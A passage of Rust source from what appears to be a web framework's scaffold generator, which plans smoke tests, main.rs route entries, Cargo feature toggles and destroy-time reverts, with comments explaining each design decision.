trash route can use them; see docs/guide/generators.md."
));
}
// #1358: `position(...)` on `#[repository(..., sharded)]` is rejected outright by the
// macro (see `autumn-macros`' `parse_repo_args`), because a move only reaches the pool
// or shard it happens to be given. So `render_repository_file` was made to omit
// `position(...)` from a sharded scaffold's attribute entirely, generating the column
// and its migration triggers — insert-assign, delete-compact — with no `move_*`
// methods and only a warning. That left a live gap: `delete_many`'s
// single-row-chunking fix for the batch-compaction race (`autumn-macros`'
// `delete_chunk_size`) keys off `config.position`, which the sharded attribute no
// longer carries, so a sharded model's bulk delete keeps its 1000-row chunks even
// though the row-level compaction triggers are still installed and still vulnerable to
// the same multi-row-per-statement race. Reject the combination outright instead:
// partial position support — column and triggers, but no working reorder and no safe
// bulk delete — is not worth the silent corruption risk.
if fields.iter().any(|f| f.kind.is_position()) && options_with_key.model.sharded {
return Err(GenerateError::Config(format!(
"position field on --sharded {plural}: not supported. \
#[repository(..., sharded)] rejects position(...) outright — a move only \
reaches the pool/shard it happens to be given — and the migration's \
row-level compaction triggers are not safe against a sharded repository's \
bulk delete, which keeps its full-size chunks with no `position` metadata \
to know it must not. Drop the position field, or drop --sharded."
)));
}
// Smoke test under `tests/<snake>.rs`. Uses the same soft-delete-augmented
// field list as the real migration (see `augment_fields_for_soft_delete`)
// so the smoke test's throwaway table matches the real schema exactly.
let smoke_test_fields =
augment_fields_for_soft_delete(&fields, options_with_key.model.soft_delete)?;
let mut smoke_test = render_smoke_test(
backend,
&pascal_name,
&plural,
options_with_key.api,
&smoke_test_fields,
options_with_key.model.id_type,
metadata.indexes(),
metadata.defaults(),
metadata.validations(),
authorize_wiring,
bulk_delete_enabled,
);
// #1315 (AC6): the CSV download test — status, media type, attachment disposition,
// header row, RFC 4180 quoting, and the empty cell a NULL column serializes to. It
// needs no database, since its rows are in-process, so unlike the index read test it
// is not `#[ignore]`d. Appended here rather than inside `render_smoke_test` because it
// is the one generated test built from `fields`, the model's declared columns matching
// the emitted `CsvSchema`, instead of `smoke_test_fields`, that list plus
// soft-delete's `deleted_at`, which the throwaway `CREATE TABLE` needs. Both are
// `&[Field]`, so passing them side by side into a ten-argument function would be a
// silent mix-up the compiler could not catch.
if export_enabled {
smoke_test.push_str(&render_csv_export_smoke_test(&plural, &fields));
}
// Issue #1393 (AC6): the import test — a 2-row upload (1 valid, 1 invalid)
// previewed, then committed. Appended here for the same reason as the export
// test above: it is built from the resource's ROUTES rather than from the
// column list `render_smoke_test` is shaped around, and it is emitted under
// exactly the gate that decides whether those routes exist at all.
if import_enabled {
smoke_test.push_str(&render_csv_import_smoke_test(&plural));
}
// Issue #1332 (AC7): the trash lifecycle test — create, soft delete, recover,
// purge. Appended here, alongside the CSV test, for the same reason: it is
// built from the resource's ROUTES rather than from the column list
// `render_smoke_test` is shaped around, and it is emitted under exactly the
// gate that decides whether those routes exist at all.
if trash_enabled {
smoke_test.push_str(&render_trash_lifecycle_smoke_test(&pascal_name, &plural));
}
// Issue #1323 AC7: the nested write-path test. Appended here, alongside the
// CSV test, because `render_smoke_test` is shaped around the resource's own
// flat surface and this one needs the resolved parent binding.
if let Some(n) = nesting.as_ref() {
smoke_test.push_str(&render_nested_write_path_smoke_test(
&pascal_name,
&plural,
n,
));
}
plan.create(
project_root.join("tests").join(format!("{snake_name}.rs")),
smoke_test,
);
// `src/main.rs` updates: declare modules + register all new routes.
let main_path = project_root.join("src").join("main.rs");
let main_existing = std::fs::read_to_string(&main_path).map_err(|_| {
GenerateError::Io(std::io::Error::new(
std::io::ErrorKind::NotFound,
format!("missing {}", main_path.display()),
))
})?;
// Issue #1255: a `richtext` column never takes the htmx inline-validation
// path — its wrapper already owns an `hx-post` for the live preview, so
// `render_changeset_form_inputs` renders the editor instead of
// `text_input_htmx`. Emitting (and mounting, and submit-token-exempting) a
// `validate_{field}` route nothing links to would be dead surface, so filter
// those columns out here and at the emission site in `render_routes_file`.
let validated_field_names: Vec<String> = if options_with_key.live_validation {
metadata
.validations()
.keys()
.filter(|name| {
!fields
.iter()
.any(|f| &&f.name == name && f.kind.is_rich_text())
})
.cloned()
.collect()
} else {
Vec::new()
};
// Issue #1319: the search box/route exist only for the standard (non-live)
// HTML index; the model/repository/migration get `searchable` regardless.
let search_enabled = !options_with_key.model.searchable.is_empty()
&& !options_with_key.live
&& !options_with_key.live_validation;
// Issue #1326: the state-machine fields whose `transition_{field}` handler
// the generated `routes::{plural}` module emits and `main.rs` must mount.
// Only the HTML surface emits these handlers, so this stays empty for `--api`.
let sm_field_names: Vec<String> = if options_with_key.api {
Vec::new()
} else {
fields
.iter()
.filter(|f| f.state_machine.is_some())
.map(|f| f.name.clone())
.collect()
};
// Issue #1255: the `POST /{plural}/preview/{field}` fragment handlers the
// routes module emits for each `richtext` column. HTML surface only — an
// `--api` scaffold renders no form, so it emits no preview endpoint.
//
// Derived from `form_fields`, NOT `fields`: a `--default`ed column is
// dropped from the form (and therefore from the rendered routes module), so
// deriving from `fields` would mount a `preview_{field}` handler the module
// never emitted and fail the generated app to compile.
let rich_text_field_names: Vec<String> = if options_with_key.api {
Vec::new()
} else {
rich_text_fields(&form_fields)
.iter()
.map(|f| f.name.clone())
.collect()
};
let route_entries = main_route_entries(
&plural,
&snake_name,
options_with_key.api,
options_with_key.live,
search_enabled && !options_with_key.api,
bulk_delete_enabled,
export_enabled,
// Same double-gate reasoning as `trash_enabled || for_revert` below: a
// DESTROY run may not repeat `--import`, but main.rs still mounts the two
// handlers this resource emitted, and a revert that removed the routes
// module while leaving those entries behind would leave the project
// uncompilable. Removing an entry that is not there is a no-op.
import_enabled || for_revert,
// Same shape as the `nested` predicate below, for the same reason: on the destroy
// path `--soft-delete` may not have been repeated on the command line, so
// `trash_enabled` is false — but `main.rs` still mounts the three trash handlers
// this resource emitted, and a revert that deleted the routes module while leaving
// them behind would leave the project uncompilable. Removing an entry that is not
// there is a no-op, since `remove_routes_entries` filters to the ones present, so
// claiming them unconditionally on the revert path is safe even for a resource
// that never had a trash surface. The generate path keeps the strict gate: what
// this run emits is decided by `trash_enabled` alone, and the prune below handles a
// re-run that dropped the flag.
trash_enabled || for_revert,
// Same double-gate reasoning as `trash_enabled || for_revert` above:
// the DESTROY/revert path may not repeat the DSL token that turned
// `reorder_enabled` on, but a stale routes module still needs its
// mounted handlers claimed for cleanup.
reorder_enabled || for_revert,
&validated_field_names,
&sm_field_names,
&rich_text_field_names,
// On the destroy path `--belongs-to` may not have been repeated on the command
// line, so `nesting` is `None` — but `main.rs` still mounts the two nested
// handlers this resource emitted, and a revert that removed the child's routes
// module while leaving those entries behind would leave the project uncompilable.
// The markers on disk are the same evidence the parent-side cleanup keys off.
//
// Gated to `for_revert` deliberately: on the generate path the routes module is
// being rewritten right now, and what it emits is decided by `nesting` alone.
// Letting stale marker evidence mount handlers the fresh module does not emit is
// exactly the uncompilable state this predicate exists to avoid — `nesting`
// already folds in the marker inference for a regeneration that omitted the flag.
nesting.is_some() || (for_revert && !nested_parents.is_empty()),
);
let mut mods = vec!["models", "schema", "repositories"];
if !options_with_key.api {
mods.push("routes");
}
if policy_on {
mods.push("policies");
}
let updated = update_main_rs(&main_existing, &mods, &route_entries);
// `update_main_rs` only ADDS entries, so a re-run that stops emitting a
// handler leaves the old entry behind pointing at a function the fresh
// routes module no longer defines — and the project stops compiling. That
// bites hardest on the trash surface: `--soft-delete` is exactly the kind of
// flag someone forgets to repeat on a `--force` regeneration, and forgetting
// it strands THREE entries at once. So when this render emits no trash
// surface, prune any that a previous run mounted. Harmless when there are
// none (`remove_routes_entries` returns the input untouched), and never
// reached when the surface IS emitted, where the entries are re-added above.
let updated = if trash_enabled {
updated
} else {
super::schema_edit::remove_routes_entries(
&updated,
&[
format!("routes::{plural}::trash"),
format!("routes::{plural}::restore"),
format!("routes::{plural}::purge"),
],
)
};
// Issue #1393: the same for the CSV import pair, and for the same reason —
// `--import` is a flag someone forgets to repeat on a `--force`
// regeneration, and the variant gates can also turn it off without the flag
// changing at all (adding `--sharded`, or adding an `#[encrypted]` column,
// is enough). Either way the fresh routes module stops defining the two
// handlers while `main.rs` keeps mounting them, and the project stops
// compiling. Not reached when the surface IS emitted: the entries are
// re-added above.
let updated = if import_enabled {
updated
} else {
super::schema_edit::remove_routes_entries(
&updated,
&[
format!("routes::{plural}::import_form"),
format!("routes::{plural}::import"),
],
)
};
// Fold the policy/scope registration into the same `updated` content
// (issue #1125) so main.rs gets a single `Modify` action.
let updated = if policy_on {
super::schema_edit::add_policy_registration_to_app(
&updated,
&format!("crate::models::{snake_name}::{pascal_name}"),
&pascal_name,
&snake_name,
)
} else {
updated
};
// Issue #1349: `.i18n_auto()` in the builder chain is what makes the
// generated `t!` lookups resolve to real translations instead of echoing
// their keys — AC4's "zero further config". Folded into the same `Modify`
// action as everything else main.rs gains. Idempotent, and a no-op for a
// project that already installs a bundle its own way (`.i18n(...)`).
//
// No matching `Revert`: this is project-level wiring shared by every
// `--i18n` resource, and removing it while a sibling still emits `t!` calls
// would leave that resource rendering raw keys. Leaving it is inert.
let updated = if options_with_key.i18n && !options_with_key.api {
// Recomputed rather than threaded down from the bundle-writing block
// above: it is one small read, and it keeps this warning's wording
// honest about the path the keys actually went to.
let (locale, dir) =
scaffold_i18n::configured_i18n(&read_or_empty(&project_root.join("autumn.toml")));
let i18n_dir_for_embed = dir.unwrap_or_else(|| "i18n".to_owned());
let ftl_display_path = format!(
"{i18n_dir_for_embed}/{}.ftl",
locale.unwrap_or_else(|| "en".to_owned())
);
match scaffold_i18n::ensure_i18n_auto(&updated) {
// Also embed the bundle for `--embed` builds, matching what
// `autumn new --with-i18n` wires up. Absent anchors (an `--api` or
// hand-rolled `main.rs`) just leave it alone: `.i18n_auto()`'s disk
// load still works for an ordinary build.
scaffold_i18n::I18nAutoWiring::Wired(wired) => {
scaffold_i18n::ensure_embedded_locales(&wired, &i18n_dir_for_embed).unwrap_or_else(
|| {
// The builder chain was found and wired, but the
// template's `EMBEDDED_STATIC` anchors are not there to
// hang the locale embedding on. Filesystem loading still
// works for an ordinary build, so this is not a refusal
// — but it is not silent either: `autumn build --embed`
// advertises a self-contained binary, and this one would
// carry no bundle and panic wherever the sidecar
// directory is absent.
plan.warn(format!(
"`main.rs` has no `embed_static!`/`embedded_static` anchors, so the `{i18n_dir_for_embed}/` bundle was NOT embedded — `.i18n_auto()` loads it from disk instead. That is fine for an ordinary build; an `autumn build --embed` binary, though, will carry no locales and PANICS at startup wherever `{i18n_dir_for_embed}/` is missing. Add `embed_locales!` and `.embedded_locales(&…)` by hand if you ship `--embed` builds."
));
wired
},
)
}
// No real `.routes(` call to anchor on. Writing the call anywhere
// else risks landing it in a comment, where it would silently never
// run and the app would render raw keys forever — so say so instead
// and leave `main.rs` alone.
// The app installs its own bundle. Leave it be — swapping somebody's
// embedded or TMS-backed `Bundle` for a filesystem load would be a
// far bigger change than this generator is entitled to make — but
// say so, because the keys just written to disk will not reach it.
scaffold_i18n::I18nAutoWiring::CustomBundle => {
plan.warn(format!(
"src/main.rs installs its own translation bundle with `.i18n(...)`, which \
takes precedence over loading `{ftl_display_path}` from disk. The keys this scaffold just \
wrote there will NOT reach that bundle — add them to whatever source it is \
built from, or switch to `.i18n_auto()` to load from the filesystem."
));
updated
}
scaffold_i18n::I18nAutoWiring::NoAnchor => {
plan.warn(
"src/main.rs has no `.routes(...)` call to anchor on, so `.i18n_auto()` was \
not wired in. Add it to your `autumn_web::app()` builder chain by hand — \
without it the generated `t!(locale, ...)` lookups render their KEYS \
instead of the English in i18n/en.ftl.",
);
updated
}
}
} else {
updated
};
plan.modify(main_path.clone(), updated);
// `mod models;`/`mod schema;`/`mod repositories;`/`mod routes;`/`mod policies;`
// are shared infrastructure declarations, not owned by this resource — see
// `emit::sync_main_rs_mod_declarations`, which removes one only once its
// backing module no longer exists on disk. Only this resource's own
// `routes![]` entries and policy registration are reverted here.
plan.push_revert(Revert::RoutesEntries {
path: main_path.clone(),
entries: route_entries,
});
if policy_on {
plan.push_revert(Revert::PolicyRegistration {
path: main_path,
pascal: pascal_name.clone(),
snake: snake_name.clone(),
});
}
// The Maud `html!` macro pulls in a direct `maud` dep on top of the
// model's deps. Both modify actions target Cargo.toml, so we combine
// them into a single deduplicated call — otherwise the second write
// would clobber the first (each rendering is computed at plan time
// against the on-disk Cargo.toml).
plan.actions.retain(|a| !a.path().ends_with("Cargo.toml"));
let mut combined: Vec<(&str, &str)> = super::model::model_deps(backend)
.iter()
.copied()
.chain(SCAFFOLD_EXTRA_DEPS.iter().copied())
.collect();
// `validator` is needed whenever a routes file is emitted (issue #1124: the
// generated `{Pascal}Form` always derives `validator::Validate`), and also
// whenever the model itself carries `#[validate]` rules.
if !options_with_key.api || metadata.has_validator_rules() {
combined.push((
"validator",
"{ version = \"0.21\", features = [\"derive\"] }",
));
}
// Not re-checked for missing features here: `plan` above *is* the
// `plan_model_with_options` plan (reused, not merged), and that call
// already ran `warn_if_existing_dep_missing_features` for `rust_decimal`
// when it built its own decimal-conditional dep — re-running the same
// check against the same (still on-disk, pre-`execute()`) Cargo.toml
// here would just duplicate the warning.
if fields.iter().any(|f| f.kind.is_decimal()) {
combined.push((
"rust_decimal",
match backend {
DatabaseBackend::Postgres => {
"{ version = \"1\", features = [\"db-diesel2-postgres\", \"serde\"] }"
}
DatabaseBackend::Sqlite => "{ version = \"1\", features = [\"serde\"] }",
},
));
}
plan_cargo_deps(
&mut plan,
project_root,
&combined,
&project_root.join("src/models"),
);
// Re-applied here, not inherited: the `retain` above dropped every staged
// `Cargo.toml` action, including the `sqlite` feature `plan_model` added
// (issue #1924) — the same reason `maud` and `i18n` are re-applied below.
if backend == DatabaseBackend::Sqlite {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "sqlite");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally — see `plan_cargo_deps`'s matching comment.
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path,
feature: "sqlite".to_owned(),
owner_dir: Some(project_root.join("src/models")),
});
}
// The generated HTML routes render through `autumn_web::form::*` helpers
// (issue #1124), which are gated behind autumn-web's `maud` feature — enable
// it whenever a routes file is emitted.
if !options_with_key.api {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "maud");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally — see `plan_cargo_deps`'s matching comment:
// at `destroy` time this same call recomputes the plan against the
// already-generated Cargo.toml, where "maud" is by definition
// already present, so `updated != base` above would never be true.
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path,
feature: "maud".to_owned(),
owner_dir: Some(project_root.join("src").join("routes")),
});
}
// #1349: the generated views' `t!(locale, …)` lookups and the `Locale` extractor they
// read live behind autumn-web's `i18n` feature, and the `.i18n_auto()` call folded
// into `main.rs` above is gated on it too. Without this the generated app would not
// compile. Deliberately no matching `Revert`, unlike `maud`/`csv`/`htmx`: that
// `.i18n_auto()` call is project-level wiring this generator does not take back out,
// since a sibling `--i18n` resource would stop resolving its keys, so removing the
// feature under it would break the build. Leaving a feature enabled is inert; removing
// one that is still called is not.
if options_with_key.i18n && !options_with_key.api {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "i18n");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path, updated);
}
}
// Issue #1315: the emitted `CsvSchema` impl and `export.csv` handler call
// into `autumn_web::data::csv`, which is gated behind autumn-web's `csv`
// feature (off by default so the `csv` crate stays out of apps that don't
// export). Without this the generated app would not compile. Enabled only
// where the export is actually emitted, so a `--api`/`--live`/`--sharded`
// scaffold's Cargo.toml is untouched.
if export_enabled {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "csv");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally — see the `maud` block above for why. `owner_dir: None`,
// unlike `maud`'s `src/routes`, because "some routes file still exists" is the
// wrong question for `csv`: only an export-enabled resource needs the feature, so
// a surviving `--live` or `--sharded` routes module would pin it forever. The
// `autumn_web::data::csv::` marker registered in `emit::autumn_web_feature_markers`
// is the precise test — it matches another scaffold's emitted `CsvSchema` impl and
// any hand-written `import_csv`/`export_csv` code, and matches neither when the
// resource being destroyed was the only user.
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path,
feature: "csv".to_owned(),
owner_dir: None,
});
}
// #1393: the emitted import handler takes an `autumn_web::extract::Multipart` body,
// which is gated behind autumn-web's `multipart` feature — off by default so
// `axum/multipart` and the `infer` sniffer stay out of apps that never take an upload.
// The `csv` feature the handler also needs is already enabled by the export block
// above, since the import is gated on that export existing, so only `multipart` is
// added here. Without it the generated app would not compile.
//
// Claimed on the destroy path too, whether or not `--import` was repeated there, for
// the same reason `main_route_entries` claims the two route entries unconditionally: a
// revert that removed the routes module but left the feature pinned would leave the
// project carrying a dependency nothing uses. The revert is a no-op when the feature is
// absent, so claiming it is always safe. Unlike `csv` above, this gate turns on a flag
// the author must repeat: `export_enabled` is derived from the model's shape and
// survives a bare `destroy scaffold`, while `--import` does not.
if import_enabled || for_revert {
let cargo_path = project_root.join("Cargo.toml");
if import_enabled {
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => {
Some(contents.clone())
}
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "multipart");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
}
// `owner_dir: None` for the same reason the `csv` feature above uses it:
// "some routes file still exists" is the wrong question, since only an
// IMPORT-enabled resource (or an attachment scaffold, which enables the
// same feature) needs `multipart`. The bare `Multipart` marker
// registered in `emit::autumn_web_feature_markers` is the precise test —
// it matches another scaffold's import or attachment handler AND any
// hand-written multipart code (including one that names the type through
// the prelude), and matches none of them when the resource being
// destroyed was the only user.
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path,
feature: "multipart".to_owned(),
owner_dir: None,
});
}
// Issue #1319: a searchable (non-live) index inlines an htmx `<script>` and
// its results handler extracts `HxRequest`, both gated behind autumn-web's
// `htmx` feature — enable it. (Live variants enable `htmx` in the block
// below; api scaffolds have no HTML index, so no search box.)
if search_enabled && !options_with_key.api {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "htmx");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path,
feature: "htmx".to_owned(),
owner_dir: Some(project_root.join("src").join("routes")),
});
}
// #1236: a scaffold with attachment fields needs autumn-web's `storage` feature — the
// model's `autumn_web::storage::Blob` column and the blob store — and its `multipart`
// feature, since the create and update handlers take an
// `autumn_web::extract::Multipart` body and stream files to the store with no
// JavaScript. Enable both so a freshly scaffolded resource compiles.
//
// The generated handlers also mint each blob key as
// `{plural}/{field}/{nanos}_{uuid}`; the `uuid::Uuid::new_v4()` suffix stops two
// uploads for the same field colliding on an identical nanosecond timestamp,
// including two attachment fields in one multipart request. `MODEL_DEPS` already
// declares `uuid`, with only the `serde` feature via `plan_cargo_deps`, so enable its
// `v4` feature for that call to resolve. Reverting the whole `uuid` dep at destroy
// time is handled by `plan_cargo_deps`'s `CargoDeps` revert.
if has_attachment_fields(&fields) {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let feats: &[&str] = &["storage", "multipart"];
let mut updated = base.clone();
for feat in feats {
updated = ensure_autumn_web_feature(&updated, feat);
}
updated = ensure_dependency_feature(&updated, "uuid", "v4");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally — see `plan_cargo_deps`'s matching comment: at
// `destroy` time this same call recomputes the plan against the already-
// generated Cargo.toml, where the features are by definition already
// present, so `updated != base` above would never be true.
let models_dir = project_root.join("src").join("models");
for feat in feats {
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path.clone(),
feature: (*feat).to_owned(),
owner_dir: Some(models_dir.clone()),
});
}
// The Cargo features make the scaffold COMPILE; a configured backend is
// what makes an upload actually persist. `StorageConfig::backend`
// defaults to `Disabled`, so without a `[storage]` block the generated
// `create` handler answers 500 "storage not configured" on the very
// first submit. We don't write the block ourselves — `autumn.toml` is
// the operator's file and the right backend is a deployment decision —
// but an author must not have to discover this by hitting the 500.
let autumn_toml = project_root.join("autumn.toml");
let toml_contents = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &autumn_toml => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&autumn_toml));
if !toml_contents.contains("[storage]") {
plan.warnings.push(
"attachment columns need a storage backend: `autumn.toml` has no `[storage]` \
section, so uploads will fail with 500 \"storage not configured\". Add:\n\
\n [storage]\n backend = \"local\"\n\n [storage.local]\n \
root = \"target/blobs\"\n mount_path = \"/_blobs\"\n\n\
for development (see docs/guide/storage.md for S3 in production)."
.to_owned(),
);
}
}
// #1255: a scaffold with `richtext` columns needs autumn-web's `markdown` feature. The
// generated show view, preview route, and form control all call
// `autumn_web::markdown::render_user_content`, via `form::rich_text_area_htmx`'s
// pre-rendered preview pane, which is gated on that feature; without it the scaffold
// would not compile. `--api` renders no form and no show view, so it needs neither the
// feature nor the preview route: the column is just TEXT carrying Markdown source out
// over JSON, and the client renders it. The show view renders every richtext column,
// including a `--default`ed one that the form drops but the detail page still displays,
// so the feature gate reads `fields`; the preview routes below are emitted only for
// form columns, so their exemption reads `rich_text_field_names`.
let rich_text_views = has_rich_text_fields(&fields) && !options_with_key.api;
if rich_text_views {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_autumn_web_feature(&base, "markdown");
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally for the same reason as the attachment block
// above: at `destroy` time the plan is recomputed against the already-
// generated Cargo.toml, where the feature is by definition present.
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path,
feature: "markdown".to_owned(),
owner_dir: Some(project_root.join("src").join("routes")),
});
}
// --live requires `ws` (sse::stream), `maud` (LiveFragment/Markup), and `htmx`.
// --live-validation alone also emits Markup-returning validate handlers and
// references HTMX_JS_PATH, so it requires `htmx` + `maud` even without `ws`.
if options_with_key.live || options_with_key.live_validation {
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let mut updated = base.clone();
let feats: &[&str] = if options.live {
&["htmx", "maud", "ws"]
} else {
&["htmx", "maud"]
};
for feat in feats {
updated = ensure_autumn_web_feature(&updated, feat);
}
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally — see `plan_cargo_deps`'s matching comment.
let routes_dir = project_root.join("src").join("routes");
for feat in feats {
plan.push_revert(Revert::CargoAutumnWebFeature {
path: cargo_path.clone(),
feature: (*feat).to_owned(),
owner_dir: Some(routes_dir.clone()),
});
}
}
// The generated smoke test uses `autumn_web::test::TestDb` (a real,
// throwaway Postgres testcontainer) to back its in-process `TestApp`
// request. `TestDb` is compiled only when the `test-support` feature is
// enabled, and that feature must stay out of `[dependencies]` so release
// builds don't pull in `testcontainers` — so it goes in
// `[dev-dependencies]` instead.
{
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_dev_dependency_test_support(&base, env!("CARGO_PKG_VERSION"));
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path.clone(), updated);
}
// Pushed unconditionally — see `plan_cargo_deps`'s matching comment.
// `owner_dir` is `src/models` (not `src/routes`) because the smoke
// test — and thus `test-support` — is generated for EVERY scaffold,
// including `--api`-only ones that never get a routes file.
plan.push_revert(Revert::CargoAutumnWebDevFeature {
path: cargo_path,
feature: "test-support".to_owned(),
owner_dir: Some(project_root.join("src").join("models")),
});
}
// The generated smoke test also uses `#[tokio::test]`, which needs the
// `rt` and `macros` tokio features to compile. Every `autumn new`
// project already has these (see `templates/Cargo.toml.tmpl`), but a
// hand-rolled or edited-down Cargo.toml might not -- and `cargo test
// --tests` still compiles `#[ignore]`d tests, so a missing dev-dependency
// here would leave the project unable to compile its test targets.
{
let cargo_path = project_root.join("Cargo.toml");
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &cargo_path => Some(contents.clone()),
_ => None,
})
.unwrap_or_else(|| read_or_empty(&cargo_path));
let updated = ensure_dev_dependency_tokio_test_features(&base);
if updated != base {
plan.actions.retain(|a| a.path() != cargo_path);
plan.modify(cargo_path, updated);
}
}
// ── autumn.toml: exempt this resource's form-echoing POST routes from the
// submit-token guard.
//
// Both families `hx-include` the whole form, so without an exemption the one-time
// `_submit_token` is consumed by a helper request and the real create or update
// submit replays a fragment instead of mutating:
//
// - `POST /{plural}/validate/{field}` — `--live-validation` inline validation (#1360).
// - `POST /{plural}/preview/{field}` — a `richtext` column's live Markdown preview
// (#1255).
//
// The `hx-params="not _submit_token"` markup filter mitigates this only for the
// default field name; exempting the route by prefix makes it robust for any
// configured `security.submit_token.field_name`. Applied only when the project has an
// `autumn.toml` to edit — a bare project keeps the markup filter as its sole,
// still-effective default-field-name guard.
let mut exempt_segments: Vec<&str> = Vec::new();
if options_with_key.live_validation {
exempt_segments.push("validate");
}
if !rich_text_field_names.is_empty() {
exempt_segments.push("preview");
}
if !exempt_segments.is_empty() {
let autumn_toml_path = project_root.join("autumn.toml");
if autumn_toml_path.exists() {
for segment in exempt_segments {
// Re-read the *planned* content each round so a second segment
// merges into the first's edit instead of overwriting it.
let toml_existing = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &autumn_toml_path => {
Some(contents.clone())
}
_ => None,
})
.unwrap_or_else(|| read_or_empty(&autumn_toml_path));
// Only record the modify *and* the destroy-time revert when this
// scaffold actually inserts the exemption. If the prefix is
// already present (a preexisting, user-owned entry), the append
// is a no-op and returns `None`; recording a revert then would
// let a later `autumn destroy` delete an exemption we never
// added, re-enabling submit-token guarding on those routes.
if let Some(updated_toml) =
append_submit_token_exempt_to_toml(&toml_existing, &plural, segment)
{
plan.actions.retain(|a| a.path() != autumn_toml_path);
plan.modify(autumn_toml_path.clone(), updated_toml);
plan.push_revert(Revert::SubmitTokenValidateExempt {
path: autumn_toml_path.clone(),
plural: plural.clone(),
segment: segment.to_owned(),
});
}
}
}
}
// Issue #2328: when a run drops a flag, the scaffold no longer emits that code.
// Remove the feature that the code needed. `destroy` uses its own reverts.
// Keep `i18n` and `maud`. `.i18n_auto()` and the shared layout use them.
// Only a feature that the files this run overwrites used before is released.
// A first run, a hand-made model, or a controller keeps every feature.
let released_routes_dir = project_root.join("src").join("routes");
let released_own_routes = released_routes_dir.join(format!("{plural}.rs"));
if !for_revert {
let cargo_path = project_root.join("Cargo.toml");
let attachments = has_attachment_fields(&fields);
let htmx_needed = (search_enabled && !options_with_key.api)
|| options_with_key.live
|| options_with_key.live_validation;
// Only `htmx` has no source marker, so only it names an owner.
let htmx_owner = Some((released_routes_dir, released_own_routes));
let released = [
("csv", !export_enabled, None),
("multipart", !import_enabled && !attachments, None),
("storage", !attachments, None),
("markdown", !rich_text_views, None),
("ws", !options_with_key.live, None),
("htmx", !htmx_needed, htmx_owner),
];
for (feature, unused, owner) in released {
if unused {
plan.release_feature(cargo_path.clone(), feature, owner);
}
}
plan.settle_released_features();
}
Ok(plan)
}
/// Fixed, unconditional (non-`--live`, non-attachment-gated) names the
/// generated `src/routes/<plural>.rs` file imports for every non-`--api`
/// scaffold — see the `use` block at the top of [`render_routes_file`]'s
